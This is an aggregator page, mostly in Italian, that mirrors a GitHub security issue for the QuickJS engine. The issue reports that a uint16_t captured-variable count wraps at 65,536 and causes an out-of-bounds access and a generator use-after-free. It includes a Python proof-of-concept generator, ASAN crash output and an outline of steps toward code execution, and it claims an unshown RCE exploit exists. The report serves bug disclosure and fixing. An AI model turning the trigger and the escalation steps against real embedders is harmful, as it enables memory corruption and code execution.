Captured variable count truncation causes out-of-bounds r/w + generator use-after-free

Aperta
#1,865 0 commenti 0 reazioni 0 assegnatari Vedi su GitHub

I maintainer di solito rispondono entro 1 giorno

@ck0i ci sta già lavorando.

Dal 2/11/2026.

  • #1869 di @ck0i — aperta

Valutazione

Difficoltà
4/5
Tempo stimato
3-5 giorni
Idoneità per principianti
52/100
Tipo di issue
Bug
Chiarezza
Specificata chiaramente
Stato di attività
Attiva
Stack tecnologico
c
Ambito
security

Direzione di ricerca

Start in quickjs.c at capture_var(), async_func_init(), and close_lexical_var(), following how the captured-variable count is stored and used to allocate and close the generator frame. Reproduce with the supplied poc.js under ASAN using qjs poc.js. The fix is complete when the 65,536-variable case no longer causes an out-of-bounds access or generator use-after-free, with regression coverage for the count boundary.

Scritto dal modello di indicizzazione a partire dal testo della issue.

Descrizione

capture_var() assigns JSVarDef.var_ref_idx from unchecked int count. And JSFunctionBytecode.var_ref_count stores that count in uint16_t.

  1. Capturing 65,536 variables makes var_ref_count wrap to zero.
  2. async_func_init() allocates generator frame using truncated count.
  3. close_lexical_var() indexes sf->var_refs[var_ref_idx] using original index, reads past this frame, and clears that slot if it contains pointer.
  4. When that slot contains a live JSVarRef *, then close_var_ref() decrements the generator frame's reference count. And then the frame can be freed while the generator object still points to it.
  5. Reusing the frame with an ArrayBuffer lets the stale generator write two native callback fields

So can be escalated to write pretty easily, and we also have a working RCE exploit for this.

PoC

from pathlib import Path

a = ",".join(f"a{i}" for i in range(32768))
v = ",".join(f"v{i}" for i in range(32767))
refs = ";".join([f"a{i}" for i in range(32768)] +
                [f"v{i}" for i in range(32767)])

Path("poc.js").write_text(
    f"function* g({a}){{\n"
    "  { let x=1; if (Math.random()<0) (()=>x); }\n"
    f"  var {v};\n"
    f"  if (Math.random()<0) (()=>{{{refs}}});\n"
    "  yield 1;\n}\n"
    "var it=g(); it.next();\n"
)

Test with ASAN qjs poc.js

ASAN Crash

=================================================================
==47==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x72401ee9c890 at pc 0x5f022f6a55bf bp 0x7ffcbfb97620 sp 0x7ffcbfb97610
READ of size 8 at 0x72401ee9c890 thread T0
    #0 0x5f022f6a55be in close_lexical_var /tmp/quickjs-bellard/quickjs.c:18000
    #1 0x5f022f6a55be in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:19228
    #2 0x5f022f7d1ed3 in async_func_resume /tmp/quickjs-bellard/quickjs.c:21536
    #3 0x5f022f7d2778 in js_generator_next /tmp/quickjs-bellard/quickjs.c:21689
    #4 0x5f022f715db3 in js_call_c_function /tmp/quickjs-bellard/quickjs.c:18127
    #5 0x5f022f68b95c in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:18274
    #6 0x5f022f68a9c3 in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:18678
    #7 0x5f022f6a8e37 in JS_CallFree /tmp/quickjs-bellard/quickjs.c:21300
    #8 0x5f022f806649 in JS_EvalFunctionInternal /tmp/quickjs-bellard/quickjs.c:38190
    #9 0x5f022f807d90 in __JS_EvalInternal /tmp/quickjs-bellard/quickjs.c:38323
    #10 0x5f022f719b86 in JS_EvalInternal /tmp/quickjs-bellard/quickjs.c:38349
    #11 0x5f022f719b86 in JS_EvalThis /tmp/quickjs-bellard/quickjs.c:38382
    #12 0x5f022f719b86 in JS_Eval /tmp/quickjs-bellard/quickjs.c:38390
    #13 0x5f022f657f5e in eval_buf /tmp/quickjs-bellard/qjs.c:70
    #14 0x5f022f658159 in eval_file /tmp/quickjs-bellard/qjs.c:105
    #15 0x5f022f656f25 in main /tmp/quickjs-bellard/qjs.c:538
    #16 0x76402262a600 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:59
    #17 0x76402262a717 in __libc_start_main_impl ../csu/libc-start.c:360
    #18 0x5f022f657444 in _start (/tmp/quickjs-bellard/qjs+0x39444) (BuildId: 48cfb24202ae50ac2117949e7ce8bbd86c98c281)

0x72401ee9c890 is located 0 bytes after 524432-byte region [0x72401ee1c800,0x72401ee9c890)
allocated by thread T0 here:
    #0 0x764022b2b60f in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:67
    #1 0x5f022f65e969 in js_def_malloc /tmp/quickjs-bellard/quickjs.c:2195
    #2 0x5f022f65836e in js_malloc_large /tmp/quickjs-bellard/quickjs.c:1567
    #3 0x5f022f6cf141 in __js_malloc /tmp/quickjs-bellard/quickjs.c:1619
    #4 0x5f022f6cf141 in js_malloc_rt /tmp/quickjs-bellard/quickjs.c:1831
    #5 0x5f022f6cf141 in js_malloc /tmp/quickjs-bellard/quickjs.c:1862
    #6 0x5f022f6cf141 in async_func_init /tmp/quickjs-bellard/quickjs.c:21479
    #7 0x5f022f7d2e6e in js_generator_function_call /tmp/quickjs-bellard/quickjs.c:21744
    #8 0x5f022f68b95c in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:18274
    #9 0x5f022f689fcd in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:18642
    #10 0x5f022f6a8e37 in JS_CallFree /tmp/quickjs-bellard/quickjs.c:21300
    #11 0x5f022f806649 in JS_EvalFunctionInternal /tmp/quickjs-bellard/quickjs.c:38190
    #12 0x5f022f807d90 in __JS_EvalInternal /tmp/quickjs-bellard/quickjs.c:38323
    #13 0x5f022f719b86 in JS_EvalInternal /tmp/quickjs-bellard/quickjs.c:38349
    #14 0x5f022f719b86 in JS_EvalThis /tmp/quickjs-bellard/quickjs.c:38382
    #15 0x5f022f719b86 in JS_Eval /tmp/quickjs-bellard/quickjs.c:38390
    #16 0x5f022f657f5e in eval_buf /tmp/quickjs-bellard/qjs.c:70
    #17 0x5f022f658159 in eval_file /tmp/quickjs-bellard/qjs.c:105
    #18 0x5f022f656f25 in main /tmp/quickjs-bellard/qjs.c:538
    #19 0x76402262a600 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:59
    #20 0x76402262a717 in __libc_start_main_impl ../csu/libc-start.c:360
    #21 0x5f022f657444 in _start (/tmp/quickjs-bellard/qjs+0x39444) (BuildId: 48cfb24202ae50ac2117949e7ce8bbd86c98c281)

SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/quickjs-bellard/quickjs.c:18000 in close_lexical_var
Shadow bytes around the buggy address:
  0x72401ee9c600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x72401ee9c680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x72401ee9c700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x72401ee9c780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x72401ee9c800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x72401ee9c880: 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x72401ee9c900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x72401ee9c980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x72401ee9ca00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x72401ee9ca80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x72401ee9cb00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==47==ABORTING
Lingua principale
C
Stelle
3.9k
Fork
389
Merge medio
4g 5h
PR unite (30g)
16

Preparare l'ambiente

Questo progetto non fornisce container di sviluppo, Dockerfile né guida per i contributori, quindi l'ambiente è a tuo carico: parti dal suo README e consulta la nostra guida al primo contributo per i passaggi generali.

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Altre issue di quickjs-ng/quickjs

Tutte le issue di quickjs-ng/quickjs

Issue simili

Altre issue su C

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.